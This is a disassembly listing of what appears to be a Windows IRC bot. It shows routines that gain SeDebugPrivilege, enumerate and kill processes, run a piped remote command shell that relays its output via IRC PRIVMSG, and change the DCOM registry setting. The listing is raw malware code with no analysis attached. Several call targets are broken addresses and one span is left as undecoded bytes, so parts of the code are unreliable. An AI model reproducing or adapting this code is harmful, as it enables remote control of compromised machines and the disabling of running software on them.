		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_419A0F:				; CODE XREF: sub_4199AC+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_419A19:				; CODE XREF: sub_4199AC+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_419A23:				; CODE XREF: sub_4199AC+1Aj
		sub	eax, 7Ch
		jz	short loc_419A50
		sub	eax, 7C8h
		jz	short loc_419A49
		dec	eax
		jz	short loc_419A3F
		dec	eax
		jnz	short loc_419AAD
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_419A3F:				; CODE XREF: sub_4199AC+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_419A49:				; CODE XREF: sub_4199AC+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A50:				; CODE XREF: sub_4199AC+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A57:				; CODE XREF: sub_4199AC+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A5E:				; CODE XREF: sub_4199AC+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_419A97
		jz	short loc_419A90
		sub	eax, 8ADh
		jz	short loc_419AC2
		dec	eax
		dec	eax
		jz	short loc_419A89
		dec	eax
		jz	short loc_419A82
		dec	eax
		dec	eax
		jnz	short loc_419AAD
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A82:				; CODE XREF: sub_4199AC+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A89:				; CODE XREF: sub_4199AC+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A90:				; CODE XREF: sub_4199AC+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A97:				; CODE XREF: sub_4199AC+B9j
		sub	eax, 8CAh
		jz	short loc_419AC9
		sub	eax, 17h
		jz	short loc_419AC2
		sub	eax, 25h
		jz	short loc_419ABB
		sub	eax, 29h
		jz	short loc_419AB4


loc_419AAD:				; CODE XREF: sub_4199AC+35j
					; sub_4199AC+87j ...
		push	offset aAnUnknownErr_0 ; "An unknown error occurred."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419AB4:				; CODE XREF: sub_4199AC+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419ABB:				; CODE XREF: sub_4199AC+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419AC2:				; CODE XREF: sub_4199AC+C2j
					; sub_4199AC+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419AC9:				; CODE XREF: sub_4199AC+F0j
		push	offset aNetworkConnect ; "Network connection not found."


loc_419ACE:				; CODE XREF: sub_4199AC+40j
					; sub_4199AC+4Aj ...
		push	offset dword_4DB630
		call	sub_41C266
		pop	ecx
		mov	eax, offset dword_4DB630
		pop	ecx
		retn
sub_4199AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419AE0	proc near		; CODE XREF: sub_401ACD+467Fp

var_718		= byte ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41E0D4
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+arg_0], esi
		nop
		call	near ptr 26C0000h
		lea	eax, [ebp+var_108]
		push	esi
		push	eax
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_41E0D4
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41E0B7
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	dword_4CBA34
		test	eax, eax
		jnz	short loc_419B70
		mov	esi, offset dword_4DB42C
		push	offset unk_43A25C
		push	esi
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	short loc_419B99
; ---------------------------------------------------------------------------


loc_419B70:				; CODE XREF: sub_419AE0+7Aj
		lea	ecx, [ebp+var_718]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_4199AC
		pop	ecx
		mov	esi, offset dword_4DB42C
		push	eax
		push	offset dword_43A230
		push	esi
		call	sub_41C266
		add	esp, 14h


loc_419B99:				; CODE XREF: sub_419AE0+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419AE0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419B9E	proc near		; CODE XREF: sub_4172C1+45p
					; sub_4172C1+166p ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		call	near ptr 273064Dh
		nop
		push	eax
		call	dword_4CBA08
		test	eax, eax
		jnz	short loc_419BBD
		leave
		retn
; ---------------------------------------------------------------------------


loc_419BBD:				; CODE XREF: sub_419B9E+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_4CB9E0
		test	eax, eax
		jz	short loc_419BFB
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_419BE4
		or	[ebp+var_8], 2
		jmp	short loc_419BE8
; ---------------------------------------------------------------------------


loc_419BE4:				; CODE XREF: sub_419B9E+3Ej
		and	[ebp+var_8], 0FFFFFFFDh


loc_419BE8:				; CODE XREF: sub_419B9E+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_4CBA90
		mov	esi, eax


loc_419BFB:				; CODE XREF: sub_419B9E+32j
		push	[ebp+var_4]
		call	near ptr 2660C52h
		nop
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419B9E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419C09	proc near		; CODE XREF: sub_401ACD+7770p
					; sub_419E38+74p

var_554		= byte ptr -554h
var_354		= dword	ptr -354h
var_350		= byte ptr -350h
var_234		= byte ptr -234h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_128		= dword	ptr -128h
var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 554h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	dword_4CBA44, ebx
		lea	edi, [ebp+var_12C]
		mov	[ebp+var_130], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_350]
		mov	[ebp+var_354], ebx
		rep stosd
		jz	loc_419E08
		cmp	dword_4CBA28, ebx
		jz	loc_419E08
		cmp	dword_4CB938, ebx
		jz	loc_419E08
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419B9E
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_4CBA44
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_8], edi
		jz	loc_419DFB
		lea	eax, [ebp+var_130]
		mov	[ebp+var_130], 128h
		push	eax
		push	edi
		call	dword_4CBA28
		mov	esi, dword_427070
		test	eax, eax
		jz	loc_419DF6
		lea	eax, [ebp+var_130]
		push	eax
		push	edi
		call	dword_4CB938
		test	eax, eax
		jz	loc_419DF6
		mov	edi, dword_42708C
		mov	ebx, 1F0FFFh


loc_419CCD:				; CODE XREF: sub_419C09+1E5j
		xor	eax, eax
		cmp	[ebp+arg_10], eax
		jz	short loc_419D34
		mov	[ebp+var_4], offset off_43A288


loc_419CDB:				; CODE XREF: sub_419C09+F3j
		mov	eax, [ebp+var_4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_10C]
		push	eax
		nop
		call	near ptr 2850000h
		test	eax, eax
		jz	short loc_419D03
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], offset dword_43A2E8
		jb	short loc_419CDB
		jmp	loc_419DDC
; ---------------------------------------------------------------------------


loc_419D03:				; CODE XREF: sub_419C09+E6j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi
		test	eax, eax
		mov	[ebp+var_4], eax
		jz	loc_419DDC
		push	0
		push	eax
		call	near ptr 2720A1Ah
		nop
		test	eax, eax
		jnz	loc_419DDC


loc_419D2A:				; CODE XREF: sub_419C09+1B9j
		push	[ebp+var_4]
		call	esi
		jmp	loc_419DDC
; ---------------------------------------------------------------------------


loc_419D34:				; CODE XREF: sub_419C09+C9j
		cmp	[ebp+arg_C], eax
		jnz	loc_419DC7
		cmp	[ebp+arg_4], eax
		jz	loc_419DDC
		push	[ebp+var_128]
		push	8
		call	dword_4CBA44
		cmp	[ebp+arg_14], 0
		mov	[ebp+var_4], eax
		mov	[ebp+var_354], 224h
		jz	short loc_419D87
		lea	ecx, [ebp+var_354]
		push	ecx
		push	eax
		call	dword_4CB8E4
		push	[ebp+var_128]
		test	eax, eax
		jz	short loc_419D8D
		lea	eax, [ebp+var_234]
		jmp	short loc_419D93
; ---------------------------------------------------------------------------


loc_419D87:				; CODE XREF: sub_419C09+15Cj
		push	[ebp+var_128]


loc_419D8D:				; CODE XREF: sub_419C09+174j
		lea	eax, [ebp+var_10C]


loc_419D93:				; CODE XREF: sub_419C09+17Cj
		push	eax
		lea	eax, [ebp+var_554]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_41C266
		add	esp, 10h
		lea	eax, [ebp+var_554]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h
		jmp	loc_419D2A
; ---------------------------------------------------------------------------


loc_419DC7:				; CODE XREF: sub_419C09+12Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_419E0F


loc_419DDC:				; CODE XREF: sub_419C09+F5j
					; sub_419C09+10Aj ...
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_8]
		call	dword_4CB938
		test	eax, eax
		jnz	loc_419CCD
		xor	ebx, ebx


loc_419DF6:				; CODE XREF: sub_419C09+9Dj
					; sub_419C09+B3j
		push	[ebp+var_8]
		call	esi


loc_419DFB:				; CODE XREF: sub_419C09+77j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419B9E
		pop	ecx
		pop	ecx


loc_419E08:				; CODE XREF: sub_419C09+3Aj
					; sub_419C09+46j ...
		xor	eax, eax


loc_419E0A:				; CODE XREF: sub_419C09+22Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_419E0F:				; CODE XREF: sub_419C09+1D1j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi
		push	[ebp+var_8]
		mov	edi, eax
		call	esi
		push	0
		push	edi
		nop
		call	near ptr 2720A1Ah
		test	eax, eax
		jnz	short loc_419E33
		push	edi
		call	esi
		jmp	short loc_419E08
; ---------------------------------------------------------------------------


loc_419E33:				; CODE XREF: sub_419C09+223j
		push	1
		pop	eax
		jmp	short loc_419E0A
sub_419C09	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E38	proc near		; DATA XREF: sub_401ACD+2687o

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset unk_43A488
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41C266
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_419E97
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409869
		add	esp, 14h


loc_419E97:				; CODE XREF: sub_419E38+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_419C09
		add	esp, 18h
		test	eax, eax
		jnz	short loc_419EBF
		push	offset unk_43A464
		jmp	short loc_419EC4
; ---------------------------------------------------------------------------


loc_419EBF:				; CODE XREF: sub_419E38+7Ej
		push	offset unk_43A440


loc_419EC4:				; CODE XREF: sub_419E38+85j
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41C266
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_419EF7
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409869
		add	esp, 14h


loc_419EF7:				; CODE XREF: sub_419E38+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_415D38
		push	[ebp+var_14]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26E0000h
		pop	edi
		pop	esi
sub_419E38	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_419F16	proc near		; CODE XREF: sub_401ACD+7712p
					; sub_40B4F5+53p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		nop
		call	near ptr 268075Ah
		mov	esi, eax
		test	esi, esi
		jz	short loc_419F48
		push	0
		push	esi
		nop
		call	near ptr 2720A1Ah
		test	eax, eax
		jnz	short loc_419F48
		push	esi
		xor	edi, edi
		call	near ptr 2660C52h
		nop


loc_419F48:				; CODE XREF: sub_419F16+1Aj
					; sub_419F16+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_419F16	endp

; ---------------------------------------------------------------------------
byte_419F4D	db 56h,	33h, 0F6h	; DATA XREF: ___:004015EEo
		dd 5656016Ah, 0E8565656h, 0FFFFFCADh, 0FF18C483h, 43A28435h
		dd 7CE89000h, 0EB022664h
		db 0E3h

; =============== S U B	R O U T	I N E =======================================



sub_419F6D	proc near		; CODE XREF: sub_419F9D+2Ap
					; sub_419FD5+7Ep ...
		mov	eax, dword_4DBC98
		push	esi
		mov	esi, dword_427070
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419F81
		push	eax
		call	esi


loc_419F81:				; CODE XREF: sub_419F6D+Fj
		mov	eax, dword_4DBCA0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419F8E
		push	eax
		call	esi


loc_419F8E:				; CODE XREF: sub_419F6D+1Cj
		mov	eax, dword_4DBC94
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419F9B
		push	eax
		call	esi


loc_419F9B:				; CODE XREF: sub_419F6D+29j
		pop	esi
		retn
sub_419F6D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419F9D	proc near		; CODE XREF: sub_401ACD+7475p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_41B9C0
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	dword_4DBC9C
		nop
		call	near ptr 2710000h
		test	eax, eax
		jnz	short loc_419FD0
		call	sub_419F6D
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_419FD0:				; CODE XREF: sub_419F9D+28j
		push	1
		pop	eax
		leave
		retn
sub_419F9D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419FD5	proc near		; CODE XREF: sub_41A05C+D3p
					; sub_41A05C+F2p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset byte_43DBD8
		push	[ebp+arg_4]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41A018
		push	7D0h
		call	near ptr 26803E7h
		nop
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_41C266
		add	esp, 10h
		jmp	short loc_41A02F
; ---------------------------------------------------------------------------


loc_41A018:				; CODE XREF: sub_419FD5+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_41A02F:				; CODE XREF: sub_419FD5+41j
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA74
		test	eax, eax
		jg	short loc_41A058
		call	sub_419F6D


loc_41A058:				; CODE XREF: sub_419FD5+7Cj
		xor	eax, eax
		leave
		retn
sub_419FD5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A05C	proc near		; DATA XREF: sub_41A1B1+170o

var_20C		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_4DBCA4


loc_41A074:				; CODE XREF: sub_41A05C+79j
					; sub_41A05C+DBj
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp+var_20C]
		push	esi
		push	eax
		push	dword_4DBC98
		call	near ptr 28508D5h
		nop
		test	eax, eax
		jz	loc_41A142
		cmp	[ebp+var_4], edi
		jnz	short loc_41A0D7
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_4DBC94
		nop
		call	near ptr 285049Eh
		test	eax, eax
		jz	short loc_41A0CD
		cmp	[ebp+var_8], 103h
		jnz	loc_41A166


loc_41A0CD:				; CODE XREF: sub_41A05C+62j
		push	0Ah
		nop
		call	near ptr 26803E7h
		jmp	short loc_41A074
; ---------------------------------------------------------------------------


loc_41A0D7:				; CODE XREF: sub_41A05C+4Ej
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_41A0EE


loc_41A0DE:				; CODE XREF: sub_41A05C+90j
		cmp	[ebp+eax+var_20C], 0Ah
		jz	short loc_41A13C
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_41A0DE


loc_41A0EE:				; CODE XREF: sub_41A05C+80j
		mov	[ebp+var_4], esi


loc_41A0F1:				; CODE XREF: sub_41A05C+E4j
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_20C]
		push	eax
		push	dword_4DBC98
		nop
		call	near ptr 2700000h
		test	eax, eax
		jz	short loc_41A18E
		lea	eax, [ebp+var_20C]
		push	eax
		push	ebx
		push	dword_4DBCD8
		call	sub_419FD5
		add	esp, 0Ch
		jmp	loc_41A074
; ---------------------------------------------------------------------------


loc_41A13C:				; CODE XREF: sub_41A05C+8Aj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_41A0F1
; ---------------------------------------------------------------------------


loc_41A142:				; CODE XREF: sub_41A05C+45j
		push	offset unk_43A510
		push	ebx
		push	dword_4DBCD8
		call	sub_419FD5
		push	[ebp+arg_0]
		call	sub_40B6D6
		add	esp, 10h
		push	1
		nop
		call	near ptr 26E0000h


loc_41A166:				; CODE XREF: sub_41A05C+6Bj
		call	sub_419F6D
		push	offset unk_43A4E8
		push	ebx
		push	dword_4DBCD8
		call	sub_419FD5
		push	[ebp+arg_0]
		call	sub_40B6D6
		add	esp, 10h
		push	edi
		call	near ptr 26E0000h
		nop


loc_41A18E:				; CODE XREF: sub_41A05C+C3j
		push	offset unk_43A4B8
		push	ebx
		push	dword_4DBCD8
		call	sub_419FD5
		push	[ebp+arg_0]
		call	sub_40B6D6
		add	esp, 10h
		push	edi
		nop
		call	near ptr 26E0000h
sub_41A05C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A1B1	proc near		; CODE XREF: sub_401ACD+24AAp

var_378		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	ebx
		push	esi
		push	edi
		call	sub_419F6D
		xor	esi, esi
		lea	eax, [ebp+var_178]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset dword_4346F8
		push	esi
		call	dword_4CBAE0
		test	eax, eax
		jz	loc_41A2AB
		push	1
		lea	eax, [ebp+var_1C]
		pop	ebx
		mov	edi, dword_427108
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_1C], 0Ch
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], esi
		call	edi
		test	eax, eax
		jz	loc_41A2AB
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi
		test	eax, eax
		jz	loc_41A2AB
		mov	edi, dword_427104
		push	3
		push	esi
		push	esi
		push	offset dword_4DBC9C
		call	edi
		push	eax
		push	[ebp+var_8]
		call	edi
		push	eax
		nop
		call	near ptr 2730000h
		test	eax, eax
		jz	short loc_41A2AB
		push	10h
		lea	eax, [ebp+var_2C]
		push	esi
		push	eax
		call	sub_41BF70
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41BF70
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		mov	ebx, offset byte_43DBD8
		push	esi
		lea	eax, [ebp+var_178]
		push	ebx
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		nop
		call	near ptr 2670000h
		test	eax, eax
		jnz	short loc_41A2B3


loc_41A2AB:				; CODE XREF: sub_41A1B1+2Fj
					; sub_41A1B1+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_41A361
; ---------------------------------------------------------------------------


loc_41A2B3:				; CODE XREF: sub_41A1B1+F8j
		push	[ebp+var_4]
		mov	edi, dword_427070
		call	edi
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	dword_4DBC98, eax
		mov	eax, [ebp+var_8]
		mov	dword_4DBCA0, eax
		mov	eax, [ebp+var_2C]
		mov	dword_4DBC94, eax
		call	edi
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	dword_4DBCD8, eax
		jz	short loc_41A2ED
		push	[ebp+arg_4]
		jmp	short loc_41A2EE
; ---------------------------------------------------------------------------


loc_41A2ED:				; CODE XREF: sub_41A1B1+135j
		push	ebx


loc_41A2EE:				; CODE XREF: sub_41A1B1+13Aj
		push	offset dword_4DBCA4
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	esi
		push	0Ah
		push	offset unk_43A574
		call	sub_40B3BA
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 234h
		add	esp, 0Ch
		mov	dword_43E968[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_41A05C
		push	esi
		push	esi
		nop
		call	near ptr 2680456h
		cmp	eax, esi
		mov	dword_43E974[edi], eax
		jnz	short loc_41A35F
		nop
		call	near ptr 2680E92h
		push	eax
		lea	eax, [ebp+var_378]
		push	offset unk_43A540
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_378]
		push	eax
		call	sub_415D38
		add	esp, 10h


loc_41A35F:				; CODE XREF: sub_41A1B1+185j
		xor	eax, eax


loc_41A361:				; CODE XREF: sub_41A1B1+FDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A1B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A366	proc near		; DATA XREF: sub_401ACD+2DC8o

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		pop	edi
		pop	esi
		push	[ebp+var_8]
		cmp	[ebp+var_10], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		jz	short loc_41A3AD
		call	sub_41A3C6
		jmp	short loc_41A3B2
; ---------------------------------------------------------------------------


loc_41A3AD:				; CODE XREF: sub_41A366+3Ej
		call	sub_41A6EA


loc_41A3B2:				; CODE XREF: sub_41A366+45j
		add	esp, 10h
		push	[ebp+var_14]
		call	sub_40B6D6
		pop	ecx
		push	0
		nop
		call	near ptr 26E0000h
sub_41A366	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A3C6	proc near		; CODE XREF: sub_41A366+40p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_4CBAF4, edi
		jnz	loc_41A4F8
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CBA94
		test	eax, eax
		jnz	short loc_41A451
		mov	ax, word_4392E8
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CBA48
		test	eax, eax
		jz	short loc_41A433
		push	offset dword_43A810
		jmp	short loc_41A438
; ---------------------------------------------------------------------------


loc_41A433:				; CODE XREF: sub_41A3C6+64j
		push	offset dword_43A7F0


loc_41A438:				; CODE XREF: sub_41A3C6+6Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CBA00
		jmp	short loc_41A464
; ---------------------------------------------------------------------------


loc_41A451:				; CODE XREF: sub_41A3C6+36j
		lea	eax, [ebp+var_214]
		push	offset dword_43A7C0
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41A464:				; CODE XREF: sub_41A3C6+89j
